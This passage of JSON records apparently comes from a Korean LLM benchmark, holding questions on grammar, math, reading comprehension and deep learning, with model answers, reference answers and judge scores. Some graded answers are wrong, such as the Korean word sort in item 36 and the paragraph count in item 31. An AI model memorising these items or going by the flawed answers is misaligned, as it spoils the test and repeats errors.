kernel_size=5)\n        self.fc1 = nn.Linear(320, 50)\n        self.fc2 = nn.Linear(50, 10)\n\n    def forward(self, x):\n        x = F.relu(F.max_pool2d(self.conv1(x), 2))\n        x = F.relu(F.max_pool2d(self.conv2(x), 2))\n        x = x.view(-1, 320)\n        x = F.relu(self.fc1(x))\n        x = self.fc2(x)\n        return F.log_softmax(x, dim=1)\n\n\n# 모델, 옵티마이저, 손실 함수 설정\nmodel = CNN().to(DEVICE)\noptimizer = optim.Adam(model.parameters(), lr=LEARNING_RATE)\ncriterion = nn.CrossEntropyLoss()\n\n\n# 학습 함수 정의\ndef train(model, device, train_loader, optimizer, epoch):\n    model.train()\n    for batch_idx, (data, target) in enumerate(train_loader):\n        data, target = data.to(device), target.to(device)\n        optimizer.zero_grad()\n        output = model(data)\n        loss = criterion(output, target)\n        loss.backward()\n        optimizer.step()\n        if (batch_idx + 1) % 300 == 0:\n            print(\n                \"Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}\".format(\n                    epoch,\n                    (batch_idx + 1) * len(data),\n                    len(train_loader.dataset),\n                    100.0 * (batch_idx + 1) / len(train_loader),\n                    loss.item(),\n                )\n            )\n\n\n# 테스트 함수 정의\ndef test(model, device, test_loader):\n    model.eval()\n    test_loss = 0\n    correct = 0\n    with torch.no_grad():\n        for data, target in test_loader:\n            data, target = data.to(device), target.to(device)\n            output = model(data)\n            test_loss += criterion(output, target).item()\n            pred = output.argmax(dim=1, keepdim=True)\n            correct += pred.eq(target.view_as(pred)).sum().item()\n\n    test_loss /= len(test_loader.dataset)\n    print(\n        \"\\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\\n\".format(\n            test_loss,\n            correct,\n            len(test_loader.dataset),\n            100.0 * correct / len(test_loader.dataset),\n        )\n    )\n\n\n# 모델 학습 및 평가\nfor epoch in range(1, EPOCHS + 1):\n    train(model, DEVICE, train_loader, optimizer, epoch)\n    test(model, DEVICE, test_loader)\n```\n\n**코드 설명:**\n\n1. 필요한 라이브러리를 임포트합니다.\n2. 하이퍼파라미터를 설정합니다. (배치 크기, 학습률, 에포크 수)\n3. GPU 사용 가능 여부를 확인하고, 사용 가능하면 GPU를 사용하도록 설정합니다.\n4. MNIST 데이터셋을 불러옵니다. 이때, 데이터 정규화를 위해 `transforms.Normalize()`를 사용합니다.\n5. 간단한 CNN 모델을 정의합니다. 이 모델은 2개의 합성곱 계층과 2개의 완전 연결 계층으로 구성됩니다.\n6. 모델, 옵티마이저, 손실 함수를 설정합니다.\n7. 학습 함수 `train()`과 테스트 함수 `test()`를 정의합니다.\n8. 지정된 에포크 수만큼 모델을 학습하고, 각 에포크 이후 테스트 데이터셋으로 모델을 평가합니다.\n\n이 코드는 MNIST 데이터셋을 사용하여 간단한 CNN을 학습하는 기본적인 예제입니다. 다양한 하이퍼파라미터, 모델 아키텍처, 데이터 증강 기법 등을 적용하여 모델의 성능을 향상시킬 수 있습니다.\n", "## ReLU (Rectified Linear Unit)\n\nReLU는 딥러닝에서 가장 흔하게 사용되는 활성화 함수 중 하나입니다. 입력값이 0보다 크면 그대로 출력하고, 0보다 작으면 0을 출력하는 간단한 함수입니다. 수식으로는 다음과 같이 나타낼 수 있습니다.\n\n```\nf(x) = max(0, x)\n```\n\n### ReLU의 장점\n\n* **계산 속도가 빠릅니다.** ReLU는 단순한 연산으로 이루어져 있어 sigmoid나 tanh 함수보다 계산 속도가 빠릅니다.\n* **Vanishing Gradient 문제를 완화합니다.** sigmoid나 tanh 함수는 입력값의 절댓값이 커질수록 gradient가 0에 가까워지는 현상 (Vanishing Gradient) 이 발생하기 쉬운데, ReLU는 입력값이 0보다 큰 구간에서는 gradient가 항상 1이기 때문에 Vanishing Gradient 문제를 완화하는 데 효과적입니다.\n* **희소성을 높입니다.** ReLU는 입력값이 0보다 작으면 0을 출력하기 때문에, 활성화되지 않는 뉴런이 많아져 모델의 희소성을 높이는 효과가 있습니다. 이는 모델의 학습 속도를 높이고, overfitting을 방지하는 데 도움이 될 수 있습니다.\n\n### ReLU의 단점\n\n* **Dying ReLU 문제**: ReLU는 입력값이 0보다 작으면 기울기가 0이 되기 때문에, 특정 뉴런이 항상 0을 출력하는 \"죽은 뉴런\"이 될 수 있습니다. 이렇게 되면 해당 뉴런은 더 이상 학습에 기여하지 못하게 됩니다.\n\n## ReLU와 비슷한 역할을 하는 다른 함수들\n\nReLU의 단점을 보완하기 위해 다양한 변형된 활성화 함수들이 등장했습니다. \n\n* **Leaky ReLU**: 입력값이 0보다 작은 경우에도 작은 기울기를 가지도록 하여 Dying ReLU 문제를 완화합니다. \n    ```\n    f(x) = max(0.01x, x) \n    ```\n* **PReLU (Parametric ReLU)**: Leaky ReLU에서 사용하는 0.01과 같은 고정된 기울기 값 대신, 학습 가능한 파라미터로 기울기를 설정합니다.\n* **ELU (Exponential Linear Unit)**: 입력값이 0보다 작은 경우에 지수 함수를 사용하여 Dying ReLU 문제를 완화하고, 출력 값의 평균을 0에 가깝게 만들어 학습 속도를 높입니다.\n* **SELU (Scaled Exponential Linear Unit)**: ELU에 scale factor를 추가하여 표현 능력을 높였습니다.\n* **GELU (Gaussian Error Linear Unit)**: 입력값에 따라 0과 1 사이의 값을 출력하는 Gaussian Error Function을 활용하여, ReLU와 Leaky ReLU의 장점을 모두 취합니다.\n\n어떤 활성화 함수를 사용할지는 데이터셋, 모델 아키텍처, 학습 환경 등에 따라 달라질 수 있습니다. 일반적으로 ReLU는 좋은 성능을 보이는 활성화 함수이며, Leaky ReLU, PReLU, ELU 등은 ReLU의 단점을 보완할 수 있는 좋은 대안입니다. \n"], "references": [null, null], "query_single": {"judge_message": "모델은 PyTorch를 사용하여 간단한 CNN을 구현하는 방법을 자세히 설명하고, 실제 코드를 제공하여 질문에 충실히 응답했다. 제공된 코드는 MNIST 데이터셋을 사용하여 CNN 모델을 학습하고 평가하는 전체 과정을 포함하고 있으며, 코드 설명을 통해 각 단계의 목적과 기능을 명확히 이해할 수 있도록 도와준다. 코드는 실행 가능하며, 필요한 라이브러리 임포트부터 데이터 로딩, 모델 정의, 학습 및 평가에 이르기까지 필요한 모든 단계를 포함하고 있다. 언어 요구사항도 충족하고 있으며, 한국어로 명확하게 답변되었다.", "judge_score": 10.0}, "query_multi": {"judge_message": "질문에 대한 답변은 한국어로 이루어졌으며, ReLU 함수에 대한 설명과 비슷한 역할을 하는 다른 활성화 함수들에 대한 정보를 제공함으로써 언어 요구사항을 충족하고 있다. ReLU의 정의와 장단점을 명확하게 설명하였고, Leaky ReLU, PReLU, ELU, SELU, GELU 등 다양한 활성화 함수들에 대한 설명도 포함되어 있다. 이는 질문에서 요구한 ReLU의 설명과 비슷한 역할을 하는 다른 함수들에 대한 정보를 제공하는 요구사항을 충족한다. 또한, 각 함수의 특징과 장단점에 대해서도 간략하게 언급하여 이해를 돕고 있다. 따라서 모델의 답변은 질문의 요구사항을 잘 반영하고 있으며, 누락된 부분이 없다.", "judge_score": 10.0}}
{"id": 36, "category": "문법(Grammar)", "questions": ["한글 맞춤법을 고려할 때 다음 중 사이시옷 표기가 잘못된 것은? (정답, 두 개)\n\n숫자, 툇간, 횟수, 갯수, 촛점", "위에서 제시한 다섯 개 단어를 가나다순으로 정렬해봐."], "outputs": ["한글 맞춤법을 고려했을 때 사이시옷 표기가 잘못된 것은 다음과 같습니다. \n\n1. **갯수 (X) -> 개수 (O)** \n2. **촛점 (X) -> 초점 (O)** \n\n'개수'는 '개'와 '수'가 합쳐진 단어이고, '초점'은 '초'와 '점'이 합쳐진 단어이기 때문에 사이시옷을 사용하지 않습니다. \n", "정답은 다음과 같습니다.\n\n1. 개수\n2. 갯수\n3. 숫자\n4. 툇간\n5. 초점 \n\n'개수'는 '개'가 'ㄱ'으로 시작하여 가장 먼저 오고, '갯수'는 '갯'이 'ㄱ' 다음 순서인 'ㄲ'으로 시작하기 때문에 '개수' 다음에 위치합니다. 나머지 단어들도 같은 방식으로 정렬하면 위와 같은 순서가 됩니다. \n"], "references": ["개수, 초점", "갯수, 숫자, 촛점, 툇간, 횟수"], "query_single": {"judge_message": "모델은 주어진 질문에 대해 정확하고 명확한 답변을 제공했다. 질문에서 요구한 사이시옷 표기가 잘못된 단어 두 개를 올바르게 지적하며, '갯수'와 '촛점'이 잘못된 표기임을 밝혔고, 이에 대한 올바른 표기인 '개수'와 '초점'을 추가로 제공했다. 또한, 각 단어의 구성을 설명하여 왜 사이시옷을 사용하지 않는지에 대한 이유를 설명함으로써 답변의 이해도를 높였다. 언어 요구사항을 완벽히 준수하였으며, 추가 참고 자료를 적절히 활용하여 답변의 정확성을 높였다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 주어진 질문에 대해 정확하고 명확한 답변을 제공했습니다. 사이시옷 표기가 잘못된 단어로 '갯수'와 '촛점'을 지적하며, 이는 추가 참고 자료인 '개수', '초점'과 일치합니다. 후속 질문에 대해서도 가나다순으로 단어를 정렬하는 요구를 충족시켰으며, '개수'와 '갯수'의 순서를 구분하는 설명도 적절했습니다. 다만, '초점'을 '촛점'으로 잘못 기재한 점은 오류입니다. 이는 추가 참고 자료에 '초점'이라고 명시되어 있음에도 불구하고 발생한 실수로 보입니다. 이러한 오류를 제외하고는 언어 요구사항을 충족하고, 답변이 이전 대화 맥락과 일치합니다.", "judge_score": 8.0}}
{"id": 9, "category": "수학(Math)", "questions": ["점 (0, 2), (4, 5)를 동시에 지나는 직선의 방정식을 구하고, 두 점을 지나는 원의 방정식을 하나로 정의하는 데 필요한 조건이 무엇인지를 설명하시오.", "직선의 방정식을 x에 대한 식으로 나타내보아라."], "outputs": ["## 두 점을 지나는 직선과 원의 방정식\n\n**1. 직선의 방정식**\n\n두 점 (0, 2), (4, 5)를 지나는 직선의 방정식을 구해봅시다.\n\n* **기울기 구하기:** \n   기울기(m)는 y값의 변화량을 x값의 변화량으로 나눈 값입니다. \n   m = (5 - 2) / (4 - 0) = 3/4\n\n* **점-기울기 형태 이용:**\n   점-기울기 형태는 y - y1 = m(x - x1) 입니다. \n   두 점 중 하나를 선택하여 대입합니다. (0, 2)를 사용하면,\n   y - 2 = (3/4)(x - 0)\n\n* **기울기-절편 형태로 변환:**\n   y = (3/4)x + 2\n\n따라서 두 점을 지나는 직선의 방정식은 **y = (3/4)x + 2** 입니다.\n\n**2. 원의 방정식**\n\n두 점을 지나는 원은 무수히 많습니다. 원의 방정식을 하나로 정의하기 위해서는 추가적인 조건이 필요합니다. \n\n* **원의 중심:** 두 점을 지름의 양 끝점으로 하는 원은 단 하나 존재합니다. 이 경우, 두 점의 중점이 원의 중심이 됩니다. \n* **반지름:** 원의 중심과 두 점 중 하나 사이의 거리가 반지름이 됩니다.\n\n**추가 조건 예시:**\n\n* **원의 중심이 주어진 경우:** 중심의 좌표를 (h, k)라고 하면, 원의 방정식은 (x-h)^2 + (y-k)^2 = r^2 이 됩니다. 여기서 r은 반지름입니다.\n* **반지름의 길이가 주어진 경우:**  반지름을 r이라고 하면,  (x-h)^2 + (y-k)^2 = r^2 에서 r을 알고 있는 값으로 대체합니다. \n* **원이 특정 직선에 접하는 경우:** 접점과 원의 중심을 잇는 반지름은 접선에 수직입니다. 이 성질을 이용하여 원의 방정식을 구할 수 있습니다.\n\n**결론:**\n\n두 점만으로는 하나의 원을 정의할 수 없습니다. 원의 방정식을 하나로 정의하기 위해서는 원의 중심, 반지름 또는 다른 기하학적 조건과 같은 추가 정보가 필요합니다. \n", "직선의 방정식 y = (3/4)x + 2 를 x에 대한 식으로 나타내면 다음과 같습니다.\n\n1. **y항을 이항:**\n   (3/4)x = y - 2\n\n2. **x의 계수로 양변을 나누기:**\n   x = (4/3)(y - 2)\n\n따라서, x에 대한 직선의 방정식은 **x = (4/3)(y - 2)** 입니다. \n"], "references": ["직선의 방정식은 y = 3/4x + 2이며, 원의 방정식을 하나로 정의하기 위해서는 원이 지나는 점 하나를 더 정의하거나, 원의 반지름을 두 점 사이의 거리의 반으로 정의해야 한다. 단, 이때 원이 지나는 점 세 개는 한 직선 위에 있어서는 안 된다. (이 외의 답변도 오류가 없다면 허용)", "x = 4/3(y - 2) 또는 x = 4/3y - 8/3"], "query_single": {"judge_message": "모델은 질문에 대한 답변을 잘 제공했다. 직선의 방정식을 구하는 과정을 상세히 설명하고, 최종적으로 올바른 직선의 방정식 y = (3/4)x + 2를 도출했다. 또한, 원의 방정식을 하나로 정의하기 위한 조건에 대해서도 설명했으며, 추가 조건 예시를 통해 이해를 돕는다. 그러나 참고 자료에서 언급된 \"원이 지나는 점 세 개는 한 직선 위에 있어서는 안 된다\"는 중요한 조건을 누락했다. 이는 원의 방정식을 정의하는 데 있어 중요한 제약 조건이므로, 이를 포함하지 않은 것은 아쉬운 점이다. 언어 요구사항을 충족하고 있으며, 한국어로 명확하게 답변하였다.", "judge_score": 8.0}, "query_multi": {"judge_message": "모델은 질문에 요구된 두 점을 지나는 직선의 방정식을 구하는 과정을 잘 설명하였으며, 원의 방정식을 하나로 정의하는 데 필요한 조건에 대해서도 적절히 설명하였습니다. 추가 참조 정보에 따르면 직선의 방정식은 y = 3/4x + 2이며, 모델은 이를 확인하고 올바르게 x에 대한 식으로 변환하여 x = 4/3(y - 2) 또는 x = 4/3y - 8/3이라고 제시했습니다. 모델의 답변은 질문의 요구사항을 충실히 반영하였고, 언어 요구사항도 준수하였습니다. 후속 질문에 대한 답변도 이전 대화 맥락과 일치합니다.", "judge_score": 10.0}}
{"id": 29, "category": "이해(Understanding)", "questions": ["정보가 풍부하고 주의력이 짧아진 시대에, 복잡한 문제를 깊이 파고들어 의미 있고 고품질의 작업을 수행하는 능력은 점점 더 가치 있게 되었습니다. 컴퓨터 과학 교수이자 저자인 칼 뉴포트는 이 능력을 '심층 작업'이라고 명명합니다. 뉴포트는 집중력이 분산되지 않는 상태에서 집중적이고 끊임없는 주의를 기울여 개인이 인지 능력의 한계를 밀어붙일 수 있게 하며, 새로운 가치를 창출하고, 기술을 향상하며, 자신이 하는 일을 모방하기 어렵게 만든다고 주장합니다.\n\n심층 작업은 주의가 산만한 상태에서 수행되는 비인지적 요구가 많지 않고, 논리적 성격의 작업인 '얕은 작업'과 대조됩니다. 이러한 작업은 필요하긴 하지만, 세상이나 개인의 개인적 성장, 만족감 또는 경력 발전에 크게 기여하지 않습니다. 뉴포트의 관점에서 심층 작업의 능력은 단지 하나의 기술이 아니라 우리 경제에서의 초능력입니다.\n\n가설에 따르면 기술이 발전함에 따라 대부분의 얕은 작업은 자동화되거나 아웃소싱될 수 있으며, 심층 작업이 성공적인 개인을 구별하는 결정적인 기술로 남게 됩니다. 그러나 이 기술을 익히고 수행하는 것은 그리 쉽지만은 않습니다. 이는 규율, 구조화된 작업 환경 및 사회적 미디어와 이메일과 같은 현대 생활에서 만연한 산만함의 유혹을 저항할 수 있는 능력을 요구합니다.\n\n또한, 뉴포트는 심층 작업이 생산성을 향상시킬 뿐만 아니라, 만족감과 웰빙에도 기여한다고 주장합니다. 심층 작업 상태는 시간이 날아가는 것처럼 느껴지고, 한가지 작업에 완전히 몰두하는 몰입 상태와 유사합니다. 이러한 몰입과 강렬한 집중은 일과 생활에서 더 큰 만족감을 이끌어낼 수 있습니다.\n\n결론적으로, 심층 작업가설은 산만함과 표면적인 참여로 가득 찬 세계에서, 자기 일에 깊이 몰두할 수 있는 능력은 비범한 성취뿐만 아니라 의미 있고 만족스러운 삶으로 가는 길이라고 제시합니다.\n\n지문을 잘 읽고, 심층 작업이 가능하게 하는 것 중 하나가 아닌 것은 무엇인지 골라보세요. 그리고 뉴포트의 심층 작업에 대한 관점을 설명해주세요.\nA) 생산성 향상.\nB) 작업의 자동화 증가.\nC) 만족감과 웰빙의 감각.\nD) 일과 생활에서의 더 큰 만족감.", "오늘날의 교육 체계가 학생들이 심층 작업 능력을 개발할 수 있도록 어떻게 지원하고 있는지, 혹은 지원하지 못한다면, 어떤 요소들이 심층 작업 기술의 습득을 방해하고 있는지에 관해 설명해주세요."], "outputs": ["정답은 **B) 작업의 자동화 증가**입니다.\n\n지문에서는 작업의 자동화 증가가 심층 작업을 가능하게 하는 요인이라고 언급하지 않습니다. 오히려 자동화는 얕은 작업을 대체하여 심층 작업의 가치를 더욱 높이는 요인으로 제시됩니다.\n\n**칼 뉴포트의 심층 작업에 대한 관점은 다음과 같습니다.**\n\n* **심층 작업의 정의:** 집중력이 분산되지 않는 상태에서 집중적이고 끊임없는 주의를 기울여 수행하는 인지적으로 까다로운 작업을 의미합니다.\n* **심층 작업의 중요성:** 뉴포트는 심층 작업을 단순한 기술이 아닌, 오늘날 경제에서 매우 중요한 \"초능력\"으로 간주합니다. 기술의 발전으로 얕은 작업은 자동화될 가능성이 높기 때문에 심층 작업 능력이야말로 성공을 위한 핵심 요소가 될 것이라고 주장합니다.\n* **심층 작업의 이점:** \n    * 생산성 향상\n    * 새로운 가치 창출\n    * 기술 향상\n    * 업무에서의 독창성 확보\n    * 몰입과 만족감 증대\n    * 삶의 만족도 향상\n* **심층 작업을 위한 조건:**\n    * 주의 산만 최소화\n    * 규율적인 시간 관리\n    * 구조화된 작업 환경\n    * 산만함에 대한 저항\n\n지문에서는 심층 작업이 단순히 생산성 향상뿐 아니라 몰입과 만족감을 통해 개인의 웰빙에도 기여한다는 점을 강조합니다. 즉, 심층 작업은 단순히 더 많은 일을 하는 것이 아니라, 더 의미 있고 만족스러운 삶을 위한 중요한 요소라는 것입니다.\n", "## 오늘날 교육 체계와 심층 작업 능력:  지원과 방해 요소 분석\n\n**1. 현 교육 체계의 지원:**\n\n* **비판적 사고 및 문제 해결 능력 강조:** 많은 교육 과정이 비판적 사고, 분석적 사고, 문제 해결 능력을 강조하고 있습니다. 이러한 능력들은 심층 작업에 필수적인 요소이며, 복잡한 개념을 이해하고 창의적인 해결책을 찾는 데 도움을 줍니다.\n* **프로젝트 기반 학습 및 장기 연구 과제 증가:** 최근 교육 트렌드는 단순 암기보다 능동적인 학습을 지향합니다. 프로젝트 기반 학습이나 장기간에 걸쳐 진행되는 연구 과제는 학생들이 스스로 주제를 탐구하고, 심층적으로 생각하며, 끈기 있게 과제를 수행하도록 유 encouraged 합니다. 이는 심층 작업 능력 개발에 도움이 될 수 있습니다.\n* **디지털 리터러시 교육 강화:** 인터넷과 기술 활용 능력을 넘어 정보 탐색, 비판적 분석, 효과적인 커뮤니케이션을  강조하는 디지털 리터러시 교육이 강화되고 있습니다. 정보 과량 시대에서  효과적인 학습 및 작업 방식을 익히도록 돕는다는 점에서 심층 작업과 연관성을 찾을 수 있습니다.\n\n\n**2. 현 교육 체계의 한계 및 방해 요소:**\n\n* **산만함에 취약한 환경:** 끊임없는 알림, 소셜 미디어, 빠른 정보 소비에 익숙한 학생들은 심층 작업에 필요한 집중력 유지에 어려움을 느낄 수 있습니다. 교실 안팎에서 산만함을 줄이고 집중력을 높이는 환경 조성이 중요하지만, 현실적으로 쉽지 않은 경우가 많습니다.\n* **표면적인 학습 방식 조장**: 시험 위주의 교육 환경은  개념의 깊이 있는 이해보다는 단순 암기와 문제 풀이 능력을 중시하는 경향이 있습니다.  이는 학생들이 능동적이고 깊이 있는 학습보다는 수동적이고 표면적인 학습 방식에 익숙해지도록 만들 수 있습니다. \n* **심층 작업에 대한 명확한 교육 부재:** 심층 작업의 중요성이나 효과적인 수행 전략에 대한 교육이 부족한 경우가 많습니다.  단순히 집중하라고 말하는 것만으로는 부족하며, 학생들에게 집중력 유지 방법, 시간 관리 전략, 산만함을 줄이는 기술 등을 구체적으로 교육할 필요가 있습니다.\n* **과도한 학업량**:  학생들은 과도한 학업량에 시달리며 얕은 작업 방식에 쫓길 수밖에 없는 현실입니다.  제한된 시간 안에 많은 양의 정보를 처리해야 하므로 깊이 있는 사고를 할 여유가 부족하며,  결국 심층 작업 능력 개발에 방해 요소로 작용할 수 있습니다.\n\n**3. 결론 및 제언**:\n\n현 교육 체계는  심층 작업에 필요한 일부 요소(비판적 사고, 문제 해결 능력)를 육성하고 있지만,  동시에 심층 작업을 어렵게 만드는 요소 (산만함, 표면적인 학습 방식) 또한  포함하고 있습니다. \n\n심층 작업 능력은 미래 사회의 중요한 역량입니다. 따라서 교육 체계는 학생들이  심층 작업 능력을  개발하고,  디지털 시대에 성공적으로 적응할 수 있도록  다음과 같은  노력을 기울여야 합니다.\n\n* **집중력을 높이는 학습 환경 조성:**  학생들이 수업에 집중하고  심층적으로 학습에  몰입할 수 있는 환경을 조성해야 합니다.\n* **능동적이고 깊이 있는 학습 방식 장려:**  단순 암기 및 문제 풀이  중심의 교육에서 벗어나,  학생들이 스스로 생각하고 질문하며  탐구하는 능동적인 학습자가 될 수 있도록  유도해야 합니다.\n* **심층 작업 기술에 대한 명확한 교육 제공**: 집중력 유지 방법, 시간 관리 전략, 산만함을 줄이는 기술 등을  구체적으로 교육하여 학생들이  스스로 심층 작업 능력을 향상시키도록  도와야 합니다.\n* **학생들의  전반적인 학업 부담 경감:**  학업량 감소를 통해  학생들이  주어진 과제에  집중하고 깊이  있게  탐구할 수 있는  시간적 여유를  확보해 주는 것이 중요합니다. \n\n궁극적으로  교육은  단순히 지식을 전달하는 것을 넘어,  학생들이  변화하는 세상에 필요한 핵심 역량을  갖추도록  돕는 데  그  목적이  있습니다.  심층 작업 능력은  미래 사회의  중요한  역량이며,  교육은  학생들이  이 능력을  개발하고  성장시킬 수 있도록  끊임없이  변화해야 할 것입니다. \n"], "references": ["B", null], "query_single": {"judge_message": "모델은 질문에 대한 정확한 답변을 제공했습니다. 지문에서 언급된 내용을 바탕으로 심층 작업을 가능하게 하는 것 중 '작업의 자동화 증가'가 아닌 것을 올바르게 선택했습니다. 또한, 칼 뉴포트의 심층 작업에 대한 관점을 잘 설명하며, 심층 작업의 정의, 중요성, 이점, 그리고 필요한 조건들을 명확하게 요약했습니다. 답변은 질문의 요구사항을 충실히 반영하고 있으며, 언어 요구사항도 준수하고 있습니다. 추가 참조로 제공된 'B' 옵션도 답변에 포함되어 있어, 모델이 제공한 정보는 질문에 대한 이해를 돕는 데 충분합니다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 주어진 질문에 대해 정확한 답변을 제공하였으며, 추가 참조 자료인 'B'를 올바르게 인식하여 답변에 반영하였습니다. 또한, 칼 뉴포트의 심층 작업에 대한 관점을 잘 설명하면서, 심층 작업의 정의, 중요성, 이점, 그리고 필요한 조건들을 명확하게 요약하였습니다. 후속 질문에 대한 답변에서는 오늘날 교육 체계가 심층 작업 능력을 개발하는 데 있어서 지원하는 방식과 방해하는 요소들을 상세하게 분석하였으며, 이러한 분석을 바탕으로 합리적인 제언을 제시하였습니다. 답변은 이전 대화 맥락과 일치하며, 언어 요구사항을 충족하고 있습니다.", "judge_score": 10.0}}
{"id": 31, "category": "이해(Understanding)", "questions": ["현대 사회는 급속도로 변화하고 있습니다. 기술의 발전, 세계화, 인구 구조 변화, 환경 문제 등 다양한 요인들이 복잡하게 상호작용하며 우리의 일상과 사회 전반에 지대한 영향을 미치고 있습니다.\n\n우선 디지털 혁명은 우리 삶의 모습을 근본적으로 바꾸어 놓았습니다. 인터넷, 스마트폰, 소셜 미디어의 보편화로 인해 정보 습득과 소통 방식이 크게 달라졌으며, 이는 경제, 교육, 문화 등 사회 전 영역에 걸쳐 변화를 가져왔습니다. 또한 인공지능, 사물인터넷, 빅데이터 등의 기술은 산업 구조와 고용 시장의 판도를 바꾸어 놓고 있습니다. 이러한 변화는 개인의 삶의 질을 향상하고 사회의 효율성을 높이는 긍정적 측면이 있지만, 디지털 격차, 개인정보 침해, 일자리 감소 등의 부작용도 야기하고 있습니다.\n\n세계화의 진전도 현대 사회의 주요한 특징 중 하나입니다. 교통과 통신의 발달로 인해 국가 간 교류가 활발해졌으며, 이는 경제, 문화, 정치 등 여러 방면에서 상호의존성을 높였습니다. 다국적 기업의 성장, 국제 무역의 확대, 문화 교류의 활성화 등은 세계화가 가져온 긍정적 변화입니다. 하지만 동시에 국가 간 경쟁 심화, 문화적 획일화, 불평등 심화 등의 문제점도 대두되고 있습니다.\n\n인구 구조의 변화 또한 현대 사회가 직면한 중요한 도전 중 하나입니다. 선진국을 중심으로 고령화가 빠르게 진행되고 있으며, 이는 노동력 감소, 사회 복지 비용 증가, 세대 간 갈등 등의 문제를 야기하고 있습니다. 또한 저출산 문제는 인구 감소와 경제 성장 둔화로 이어질 수 있어 사회적 대응이 필요한 상황입니다.\n\n환경 문제는 인류가 직면한 가장 심각한 도전 중 하나로 떠오르고 있습니다. 기후 변화, 자원 고갈, 생물 다양성 감소, 환경 오염 등은 지속 가능한 발전을 위협하는 요인들입니다. 이에 대한 국제 사회의 공조와 각국 정부의 정책적 노력이 요구되는 한편, 개인 차원에서의 실천도 중요성이 커지고 있습니다.\n\n이 외에도 양극화 심화, 다문화 사회로의 전환, 4차 산업혁명의 진전 등 현대 사회를 특징짓는 다양한 현상들이 존재합니다. 이러한 변화의 소용돌이 속에서 우리는 사회 구성원 모두의 삶의 질 향상과 지속 가능한 발전이라는 목표를 향해 나아가야 할 것입니다. 이를 위해서는 사회 각 주체 간 소통과 협력, 장기적 관점에서의 전략 수립, 그리고 개인의 책임감 있는 행동이 필요할 것입니다.\n\nQ: 이 지문에서 '장기적 관점에서의 전략 수립이 요구된다.'라는 내용을 담은 문단은 몇 번째 문단인지 알려주고, 글의 내용을 요약해보세요.", "환경 문제 해결을 위해 필요한 것으로 볼 수 없는 것은 무엇이고, 나머지 선택지들이 환경 문제 해결에 어떻게 기여 할 수 있는지 설명해보세요.\n(A) 국제 사회의 공조\n(B) 각국 정부의 정책적 노력\n(C) 개인 차원에서의 실천\n(D) 경제 성장 우선주의"], "outputs": ["## 질문에 대한 답변\n\n**1. '장기적 관점에서의 전략 수립이 요구된다'라는 내용을 담은 문단:** 마지막 문단 (총 7개 문단 중) \n\n**2. 글의 내용 요약:**\n\n본 지문은 급변하는 현대 사회의 주요 변화 요인과 그 영향을 다각적으로 분석하고 있습니다. \n\n* **디지털 혁명:** 정보 접근성 증대, 소통 방식 변화, 산업 구조 변화 등 긍정적 측면과 디지털 격차, 개인정보 침해, 일자리 감소 등 부작용을 동시에 가져왔습니다.\n* **세계화:** 국가 간 상호의존성을 심화시켜 경제, 문화적 교류를 확대했지만, 경쟁 심화, 문화적 획일화, 불평등 심화 문제도 야기했습니다.\n* **인구 구조 변화:** 고령화로 인한 노동력 감소, 사회 복지 비용 증가, 저출산에 따른 인구 감소 및 경제 성장 둔화는 해결해야 할 과제입니다.\n* **환경 문제:** 기후 변화, 자원 고갈, 생물 다양성 감소, 환경 오염 등 지속 가능한 발전을 위협하는 심각한 문제입니다.\n\n이러한 변화 속에서 지속 가능한 발전과 삶의 질 향상을 위해서는 사회 구성원 간 소통과 협력, **장기적인 관점에서의 전략 수립**, 그리고 개인의 책임감 있는 행동이 무엇보다 중요합니다. \n", "## 환경 문제 해결을 위해 필요한 것\n\n### 정답: (D) 경제 성장 우선주의\n\n경제 성장 우선주의는 단기적인 이익 추구에 집중하여 환경 문제를 등한시하는 경향이 있습니다. 환경 보호보다는 개발을 우선시하면서 환경 오염, 자원 고갈 등의 문제를 악화시킬 수 있습니다. \n\n### 나머지 선택지들의 환경 문제 해결 기여 방안\n\n**(A) 국제 사회의 공조:** 환경 문제는 특정 국가의 노력만으로 해결될 수 없는 전 지구적 문제입니다.  국제 협약, 기술 공유, 공동 연구 등을 통한 국제 사회의 공조는 다음과 같은 기여를 할 수 있습니다.\n\n* **온실가스 감축 목표 설정 및 이행 촉구:** 기후 변화와 같이 전 지구적인 협력이 필요한 문제에 효과적으로 대응할 수 있는 틀을 제공합니다.\n* **개발도상국의 환경 보호 노력 지원:** 선진국의 기술 및 재정 지원을 통해 개발도상국의 지속 가능한 발전을 도울 수 있습니다.\n* **환경 관련 정보 및 기술 공유:**  효과적인 환경 보호 기술 및 정책 사례를 공유하여 문제 해결을 위한 시너지 효과를 창출할 수 있습니다. \n\n\n**(B) 각국 정부의 정책적 노력:** 환경 문제 해결을 위한 각국 정부의 강력한 정책과 이행은 필수적입니다. \n\n* **환경 규제 강화 및 오염 물질 배출 감소:** 기업들의 환경 보호 노력을 유도하고 환경 오염을 줄이는 데 효과적입니다.\n* **재생 에너지 투자 확대 및 친환경 기술 개발 지원:**  장기적으로 지속 가능한  사회로의 전환을 위한 필수적인 정책입니다.\n* **환경 교육 강화 및 시민 의식 고취:** 시민들의 자발적인 환경 보호 참여를 유도하고 환경 문제에 대한 인식을 제고할 수 있습니다.\n\n**(C) 개인 차원에서의 실천:** 개인의 작은 노력들이 모여 큰 변화를 만들 수 있습니다. \n\n* **에너지 절약 및 자원 낭비 줄이기:**  일상생활에서의 작은 노력을 통해 환경 부담을 줄이는 데 기여할 수 있습니다.\n* **대중교통 이용, 자전거 사용, 걷기 등 친환경적인 이동 수단 선택:** 탄소 배출 감소에 효과적입니다.\n* **일회용품 사용 줄이기, 분리수거 철저히 하기, 재활용 제품 사용:** 쓰레기 문제 해결에 도움이 됩니다.\n* **환경 보호 활동에 참여, 환경 단체 후원:** 환경 문제 해결을 위한 사회적 움직임에 동참할 수 있습니다. \n\n결론적으로 환경 문제 해결을 위해서는 경제 성장 우선주의를 지양하고, 국제 사회, 각국 정부, 그리고 개인까지 모두의 노력이 필요합니다. \n"], "references": ["6번째 문단(마지막 문단)", "(D) 경제 성장 우선주의"], "query_single": {"judge_message": "모델은 질문에 대한 답변을 한국어로 제공하며, 언어 요구사항을 충족하고 있습니다. '장기적 관점에서의 전략 수립이 요구된다'라는 내용이 포함된 문단을 마지막 문단이라고 정확히 지목했으나, 실제로는 6번째 문단이 마지막 문단이므로 이 부분에서 오류가 있습니다. 글의 내용 요약은 지문의 주요 포인트를 잘 